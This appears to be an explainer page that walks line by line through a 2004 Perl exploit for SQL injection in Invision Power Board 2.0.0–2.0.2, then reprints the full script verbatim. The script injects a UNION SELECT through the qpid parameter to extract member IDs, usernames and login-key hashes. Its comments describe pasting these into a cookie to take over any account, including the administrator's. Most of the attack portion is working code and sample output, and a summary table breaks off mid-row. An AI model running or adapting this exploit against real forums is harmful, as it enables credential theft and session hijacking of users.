Invision Power Board 2.0.0 < 2.0.2 SQL Injection Exploit Explained

Invision Power Board 2.0.0 < 2.0.2 SQL Injection Exploit Explained
What this paper is
This paper details a SQL injection vulnerability in Invision Power Board (IPB) versions 2.0.0 through 2.0.2. The exploit, written in Perl, targets a specific flaw that allows an attacker to inject malicious SQL queries into the database. The primary goal of this exploit is to retrieve user credentials, specifically the member_id and pass_hash of users, which can then be used to hijack sessions.
Simple technical breakdown
The vulnerability lies in how the IPB software handles user input, specifically when constructing SQL queries. The exploit abuses this by sending specially crafted URLs that contain SQL commands. These commands are not properly sanitized, allowing them to be executed by the database. The exploit uses a technique called "blind SQL injection" or "error-based SQL injection" to extract information. It manipulates parameters in the URL to trigger SQL errors that reveal parts of the database structure (like table prefixes) or directly injects UNION SELECT statements to pull specific data.
The exploit works by:
- Identifying the target: It requires the server IP, the directory where IPB is installed, a forum number, a topic number, and a valid session ID (SID) from an authenticated user.
- Determining the table prefix: If the table prefix is unknown, the exploit first attempts to guess it by triggering a SQL error that reveals it.
- Extracting user data: Once the prefix is known, it crafts a URL that uses a
UNION SELECTstatement to extract themember_id,username, andmember_login_key(which is the password hash) from thememberstable. - Session hijacking: The extracted information can then be used to modify a legitimate user's session cookie, granting the attacker access to that user's account.
Complete code and payload walkthrough
The provided Perl script r57ipb.pl is designed to exploit the SQL injection vulnerability.
#!/usr/bin/perl
use IO::Socket;
# ... (ASCII Art - decorative, no functional impact) ...
## Invision Power Board v2.0.0 - 2.0.2 sql injection exploit
## by RusH security team (www.rst.void.ru)
## coded by 1dt.w0lf
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## example:
##
## r57ipb.pl 127.0.0.1 /IPB202/ 2 1 3edb1eaeea640d297ee3b1f78b5679b3
## ------------------------------------------------------------------------------------------------
## [>] SERVER: 127.0.0.1
## [>] DIR: /IPB202/
## [>] FORUM: 2
## [>] TOPIC: 1
## [>] SID: 3edb1eaeea640d297ee3b1f78b5679b3
## [>] PREFIX:
## [>] ID:
## ------------------------------------------------------------------------------------------------
##
## [~] PREPARE TO CONNECT...
## [+] CONNECTED
## [~] SENDING QUERY...
## [+] DONE!
##
## PREFIX: ibf_
##
## r57ipb.pl 127.0.0.1 /IPB202/ 2 1 3edb1eaeea640d297ee3b1f78b5679b3 ibf_
## ------------------------------------------------------------------------------------------------
## [>] SERVER: 127.0.0.1
## [>] DIR: /IPB202/
## [>] FORUM: 2
## [>] TOPIC: 1
## [>] SID: 3edb1eaeea640d297ee3b1f78b5679b3
## [>] PREFIX: ibf_
## [>] ID:
## ------------------------------------------------------------------------------------------------
##
## [~] PREPARE TO CONNECT...
## [+] CONNECTED
## [~] SENDING QUERY...
## [+] DONE!
##
## --[ REPORT ]------------------------------------------------------------------------------------
## MEMBER_ID: [1] NAME: [admin] PASS_HASH: [73dea61281aa9b08ed31b4ae2bb9954e]
## ------------------------------------------------------------------------------------------------
## Now you need edit cookie and insert new pass_hash and member_id values.
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## ... (Russian text - explanatory, not code) ...#!/usr/bin/perl: Shebang line, indicating the script should be executed with the Perl interpreter.use IO::Socket;: Imports theIO::Socketmodule, which is essential for creating network connections (in this case, an HTTP connection to the target web server).- ASCII Art: A decorative block of text art, common in older exploit scripts for visual flair. It has no functional impact on the exploit's execution.
- Comments and Examples: The script includes comments explaining its purpose, authorship, and usage examples. These are crucial for understanding how to run the script and what output to expect. The examples demonstrate two scenarios: one where the table prefix is unknown and one where it's provided.
- Russian Text: This section is explanatory text in Russian, detailing the results of the exploit and how to use them for session hijacking. It's not executable code.
if (@ARGV < 5)
{
print "-------------------------------------------------------------------------\r\n";
print " Invision Power Board v2.0.0 - 2.0.2 sql injection exploit\r\n";
print "-------------------------------------------------------------------------\r\n";
print "usage:\r\n";
print "r57ipb.pl SERVER /DIR/ FORUM_NUM TOPIC_NUM SID [TABLE_PREFIX] [USER_ID]\r\n\r\n";
print "SERVER - server where IPB installed\r\n";
print "/DIR/ - IPB directory or / for no directory\r\n";
print "FORUM_NUM - number of existing forum\r\n";
print "TOPIC_NUM - number of existing topic\r\n";
print "SID - your session id\r\n";
print "[TABLE_PREFIX] - table prefix in database\r\n";
print "[USER_ID] - user id for exploiting\r\n\r\n";
print "e.g. r57ipb.pl 127.0.0.1 /IPB/ 2 1 4496b6d35c1bc0662d721c207f81784e ibf_\r\n";
print "-------------------------------------------------------------------------\r\n";
exit();
}if (@ARGV < 5): Checks if the number of command-line arguments (@ARGV) is less than 5.print ... exit();: If there are fewer than 5 arguments, it prints a detailed usage message explaining the required parameters and exits the script. This is a standard way to handle incorrect input.
if (@ARGV < 6) { $get_table = 1; }if (@ARGV < 6): Checks if the number of command-line arguments is less than 6.$get_table = 1;: If true (meaning only 5 arguments were provided), it sets the$get_tablevariable to 1. This flag indicates that the script should attempt to discover the table prefix first, rather than directly trying to extract user data.
$server = $ARGV[0];
$dir = $ARGV[1];
$fnum = $ARGV[2];
$tnum = $ARGV[3];
$sid = $ARGV[4];
$prefix = $ARGV[5];
$id = $ARGV[6];- Variable Assignment: These lines assign the command-line arguments to corresponding Perl variables for easier use.
$server: The IP address or hostname of the target server.$dir: The directory path where IPB is installed (e.g.,/IPB202/).$fnum: The forum number.$tnum: The topic number.$sid: The session ID of an authenticated user.$prefix: The database table prefix (optional, if not provided,$get_tablewill be 1).$id: The user ID to target (optional).
print "------------------------------------------------------------------------------------------------\r\n";
print "[>] SERVER: $server\r\n";
print "[>] DIR: $dir\r\n";
print "[>] FORUM: $fnum\r\n";
print "[>] TOPIC: $tnum\r\n";
print "[>] SID: $sid\r\n";
print "[>] PREFIX: $prefix\r\n";
print "[>] ID: $id\r\n";
print "------------------------------------------------------------------------------------------------\r\n\r\n";- Outputting Parameters: This block prints the parsed command-line arguments to the console, confirming what the script will use.
$server =~ s/(http:\/\/)//eg;$server =~ s/(http:\/\/)//eg;: This line uses a regular expression substitution to remove any "http://" prefix from the$servervariable. This ensures that the script can handle server inputs with or without the protocol specified.
$path = $dir;
$path .= "index.php?s=";
$path .= $sid;
$path .= "&act=Post&CODE=02&f=";
$path .= $fnum;
$path .= "&t=";
$path .= $tnum;
if ($get_table == 1)
{
$path .= "&qpid=r57"
}
else
{
$path .= "&qpid=666666666)%20union%20select%201,1,1,1,1,1,1,1,1,1,CONCAT(id,char(58),name,char(58),member_login_key),1,1,1,1,1,1,1,1,1%20from%20";
$path .= $prefix;
$path .= "members";
$path .= ($id)?("%20WHERE%20id=$id%20"):("%20");
$path .= "/*";
}- Constructing the URL Path: This is the core of the exploit's payload construction.
$path = $dir;: Starts building the URL path with the provided directory.$path .= "index.php?s=";: Appends the base of the vulnerable script and the session parameter.$path .= $sid;: Appends the user's session ID. This is crucial as it often bypasses some authentication checks and is part of the vulnerable parameter handling.$path .= "&act=Post&CODE=02&f=";: Appends parameters related to posting or viewing posts, which are known to be vulnerable.$path .= $fnum;: Appends the forum number.$path .= "&t=";: Appends the topic number.$path .= $tnum;: Appends the topic number.if ($get_table == 1):$path .= "&qpid=r57": If$get_tableis 1 (meaning the table prefix needs to be discovered), a simple, non-malicious payload is appended. This payload is designed to trigger a specific SQL error that the script can parse to find the table prefix. The valuer57is arbitrary but likely chosen to be unique.
else:$path .= "&qpid=666666666)%20union%20select%201,1,1,1,1,1,1,1,1,1,CONCAT(id,char(58),name,char(58),member_login_key),1,1,1,1,1,1,1,1,1%20from%20";: This is the main SQL injection payload.666666666): This part attempts to break out of the expected SQL syntax, likely closing a parenthesis or statement.%20union%20select%20...: This is theUNION SELECTstatement. It's used to combine the results of the original query with the results of a new query.1,1,1,1,1,1,1,1,1,1: These are placeholder values. The number of1s must match the number of columns expected by the original query. The exploit assumes a certain structure.CONCAT(id,char(58),name,char(58),member_login_key): This is the crucial part that extracts data.id: The user's ID.char(58): This inserts a colon character (ASCII 58) as a separator.name: The username.member_login_key: This field in IPB versions 2.x typically stores the MD5 hash of the user's password.
%20from%20: Appends " from " to the query.
$path .= $prefix;: Appends the determined table prefix.$path .= "members";: Appends the name of the table containing user information.$path .= ($id)?("%20WHERE%20id=$id%20"):("%20");: Conditionally appends aWHEREclause. If a user ID ($id) was provided, it filters the results to that specific user. Otherwise, it just appends a space.$path .= "/*";: Appends a comment character. This is a common technique in SQL injection to terminate the original query and prevent syntax errors.
print "[~] PREPARE TO CONNECT...\r\n";
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "[-] CONNECTION FAILED";
print "[+] CONNECTED\r\n";
print "[~] SENDING QUERY...\r\n";
print $socket "GET $path HTTP/1.1\r\n";
print $socket "Host: $server\r\n";
print $socket "Accept: */*\r\n";
print $socket "Connection: close\r\n\r\n";
print "[+] DONE!\r\n\r\n";- Network Connection and Request:
print "[~] PREPARE TO CONNECT...\r\n";: Informational message.$socket = IO::Socket::INET->new(...) || die "[-] CONNECTION FAILED";: Creates a new TCP socket connection to the specified$serveron port 80 (HTTP). If the connection fails, it prints an error and exits.print "[+] CONNECTED\r\n";: Informational message.print "[~] SENDING QUERY...\r\n";: Informational message.print $socket "GET $path HTTP/1.1\r\n";: Sends an HTTP GET request to the server using the constructed$path.print $socket "Host: $server\r\n";: Sets theHostheader, which is required for HTTP/1.1.print $socket "Accept: */*\r\n";: Sets a genericAcceptheader.print $socket "Connection: close\r\n\r\n";: Sets theConnectionheader toclose, indicating the server should close the connection after the response. The double\r\nsignifies the end of the HTTP headers.print "[+] DONE!\r\n\r\n";: Informational message.
$suc =0;
if ($get_table == 1)
{
while ($answer = <$socket>)
{
if ($answer =~ /(mySQL query error: )(.*)( FROM )(.*)(posts)/){ print "PREFIX: $4\r\n"; $suc = 1; }
}
if (!$suc) { print "Exploit failed\r\n"; }
exit();
}- Processing Response (Discovering Table Prefix): This block executes only if
$get_tableis 1.$suc = 0;: Initializes a success flag.while ($answer = <$socket>): Reads the HTTP response from the server line by line.if ($answer =~ /(mySQL query error: )(.*)( FROM )(.*)(posts)/): This is a regular expression that looks for a specific error message pattern.(mySQL query error: ): Matches the literal string "mySQL query error: ".(.*): Captures any characters (the error message details).( FROM ): Matches " FROM ".(.*): This is the crucial capture group ($4). It captures the table prefix that appears before "posts" in the error message. The exploit relies on the error message revealing the prefix.(posts): Matches "posts".
{ print "PREFIX: $4\r\n"; $suc = 1; }: If the pattern matches, it prints the captured table prefix (which is$4in the regex) and sets the success flag$sucto 1.if (!$suc) { print "Exploit failed\r\n"; }: If the loop finishes and$sucis still 0, it means the prefix couldn't be found, and the exploit failed.exit();: Exits the script after attempting to find the prefix.
print "--[ REPORT ]------------------------------------------------------------------------------------\r\n";
while ($answer = <$socket>)
{
if ($answer =~ /^([^:]*):([^:]*):([a-z,0-9]{32})$/) { print "MEMBER_ID: [$1] NAME: [$2] PASS_HASH: [$3]\r\n"; $suc = 1; }
}
print "------------------------------------------------------------------------------------------------\r\n";
if ($suc == 1) { print "Now you need edit cookie and insert new pass_hash and member_id values.\r\n"; exit(); }
else { print "Exploit failed\r\n"; }Processing Response (Extracting User Data): This block executes if
$get_tableis not 1.print "--[ REPORT ]------------------------------------------------------------------------------------\r\n";: Prints a header for the report.while ($answer = <$socket>): Reads the HTTP response line by line.if ($answer =~ /^([^:]*):([^:]*):([a-z,0-9]{32})$/): This is the regex to parse the extracted user data.^: Matches the beginning of the line.([^:]*): Capture group $1. Matches any character except a colon (:) zero or more times. This captures theMEMBER_ID.:: Matches the colon separator.([^:]*): Capture group $2. Matches any character except a colon zero or more times. This captures theNAME(username).:: Matches the colon separator.([a-z,0-9]{32}): Capture group $3. Matches exactly 32 characters that are either lowercase letters (a-z) or digits (0-9). This pattern is characteristic of an MD5 hash, which is whatmember_login_keytypically stores.$: Matches the end of the line.
{ print "MEMBER_ID: [$1] NAME: [$2] PASS_HASH: [$3]\r\n"; $suc = 1; }: If the pattern matches, it prints the extractedMEMBER_ID,NAME, andPASS_HASHin a formatted way and sets$sucto 1.print "------------------------------------------------------------------------------------------------\r\n";: Prints a footer for the report.if ($suc == 1) { ... exit(); }: If data was successfully extracted ($sucis 1), it prints instructions on how to use the data for session hijacking and exits.else { print "Exploit failed\r\n"; }: If no matching data was found in the response, it indicates the exploit failed.
# milw0rm.com [2004-11-22]: A comment indicating the source and publication date of the exploit.
Mapping of Code Fragments to Practical Purpose:
| Code Fragment/Block
Original Exploit-DB Content (Verbatim)
#!/usr/bin/perl
use IO::Socket;
# # # #
# # # #
# # # #
# ## #### ## #
## ## ###### ## ##
## ## ###### ## ##
## ## #### ## ##
### ############ ###
########################
##############
######## ########## #######
### ## ########## ## ###
### ## ########## ## ###
### # ########## # ###
### ## ######## ## ###
## # ###### # ##
## # #### # ##
## ##
## Invision Power Board v2.0.0 - 2.0.2 sql injection exploit
## by RusH security team (www.rst.void.ru)
## coded by 1dt.w0lf
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## example:
##
## r57ipb.pl 127.0.0.1 /IPB202/ 2 1 3edb1eaeea640d297ee3b1f78b5679b3
## ------------------------------------------------------------------------------------------------
## [>] SERVER: 127.0.0.1
## [>] DIR: /IPB202/
## [>] FORUM: 2
## [>] TOPIC: 1
## [>] SID: 3edb1eaeea640d297ee3b1f78b5679b3
## [>] PREFIX:
## [>] ID:
## ------------------------------------------------------------------------------------------------
##
## [~] PREPARE TO CONNECT...
## [+] CONNECTED
## [~] SENDING QUERY...
## [+] DONE!
##
## PREFIX: ibf_
##
## r57ipb.pl 127.0.0.1 /IPB202/ 2 1 3edb1eaeea640d297ee3b1f78b5679b3 ibf_
## ------------------------------------------------------------------------------------------------
## [>] SERVER: 127.0.0.1
## [>] DIR: /IPB202/
## [>] FORUM: 2
## [>] TOPIC: 1
## [>] SID: 3edb1eaeea640d297ee3b1f78b5679b3
## [>] PREFIX: ibf_
## [>] ID:
## ------------------------------------------------------------------------------------------------
##
## [~] PREPARE TO CONNECT...
## [+] CONNECTED
## [~] SENDING QUERY...
## [+] DONE!
##
## --[ REPORT ]------------------------------------------------------------------------------------
## MEMBER_ID: [1] NAME: [admin] PASS_HASH: [73dea61281aa9b08ed31b4ae2bb9954e]
## ------------------------------------------------------------------------------------------------
## Now you need edit cookie and insert new pass_hash and member_id values.
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## Пару слов о возвращаемом эксплоитом результате:
## Значение pass_hash это не зашифрованный пароль юзера!!! а одноименное значение из кукиса с
## помощью которого можно войти на форум под любым юзером без ввода пароля.
## member_id это также одноименное значение из кукиса.
## Поэтому не стоит пытаться расшифровать pass_hash =) Просто зарегистрируйтесь на форуме и измените
## pass_hash и member_id в вашем cookie на одно из значений которые выдаст сплоит.
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
if (@ARGV < 5)
{
print "-------------------------------------------------------------------------\r\n";
print " Invision Power Board v2.0.0 - 2.0.2 sql injection exploit\r\n";
print "-------------------------------------------------------------------------\r\n";
print "usage:\r\n";
print "r57ipb.pl SERVER /DIR/ FORUM_NUM TOPIC_NUM SID [TABLE_PREFIX] [USER_ID]\r\n\r\n";
print "SERVER - server where IPB installed\r\n";
print "/DIR/ - IPB directory or / for no directory\r\n";
print "FORUM_NUM - number of existing forum\r\n";
print "TOPIC_NUM - number of existing topic\r\n";
print "SID - your session id\r\n";
print "[TABLE_PREFIX] - table prefix in database\r\n";
print "[USER_ID] - user id for exploiting\r\n\r\n";
print "e.g. r57ipb.pl 127.0.0.1 /IPB/ 2 1 4496b6d35c1bc0662d721c207f81784e ibf_\r\n";
print "-------------------------------------------------------------------------\r\n";
exit();
}
if (@ARGV < 6) { $get_table = 1; }
$server = $ARGV[0];
$dir = $ARGV[1];
$fnum = $ARGV[2];
$tnum = $ARGV[3];
$sid = $ARGV[4];
$prefix = $ARGV[5];
$id = $ARGV[6];
print "------------------------------------------------------------------------------------------------\r\n";
print "[>] SERVER: $server\r\n";
print "[>] DIR: $dir\r\n";
print "[>] FORUM: $fnum\r\n";
print "[>] TOPIC: $tnum\r\n";
print "[>] SID: $sid\r\n";
print "[>] PREFIX: $prefix\r\n";
print "[>] ID: $id\r\n";
print "------------------------------------------------------------------------------------------------\r\n\r\n";
$server =~ s/(http:\/\/)//eg;
$path = $dir;
$path .= "index.php?s=";
$path .= $sid;
$path .= "&act=Post&CODE=02&f=";
$path .= $fnum;
$path .= "&t=";
$path .= $tnum;
if ($get_table == 1)
{
$path .= "&qpid=r57"
}
else
{
$path .= "&qpid=666666666)%20union%20select%201,1,1,1,1,1,1,1,1,1,CONCAT(id,char(58),name,char(58),member_login_key),1,1,1,1,1,1,1,1,1%20from%20";
$path .= $prefix;
$path .= "members";
$path .= ($id)?("%20WHERE%20id=$id%20"):("%20");
$path .= "/*";
}
print "[~] PREPARE TO CONNECT...\r\n";
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "[-] CONNECTION FAILED";
print "[+] CONNECTED\r\n";
print "[~] SENDING QUERY...\r\n";
print $socket "GET $path HTTP/1.1\r\n";
print $socket "Host: $server\r\n";
print $socket "Accept: */*\r\n";
print $socket "Connection: close\r\n\r\n";
print "[+] DONE!\r\n\r\n";
$suc =0;
if ($get_table == 1)
{
while ($answer = <$socket>)
{
if ($answer =~ /(mySQL query error: )(.*)( FROM )(.*)(posts)/){ print "PREFIX: $4\r\n"; $suc = 1; }
}
if (!$suc) { print "Exploit failed\r\n"; }
exit();
}
print "--[ REPORT ]------------------------------------------------------------------------------------\r\n";
while ($answer = <$socket>)
{
if ($answer =~ /^([^:]*):([^:]*):([a-z,0-9]{32})$/) { print "MEMBER_ID: [$1] NAME: [$2] PASS_HASH: [$3]\r\n"; $suc = 1; }
}
print "------------------------------------------------------------------------------------------------\r\n";
if ($suc == 1) { print "Now you need edit cookie and insert new pass_hash and member_id values.\r\n"; exit(); }
else { print "Exploit failed\r\n"; }
# milw0rm.com [2004-11-22]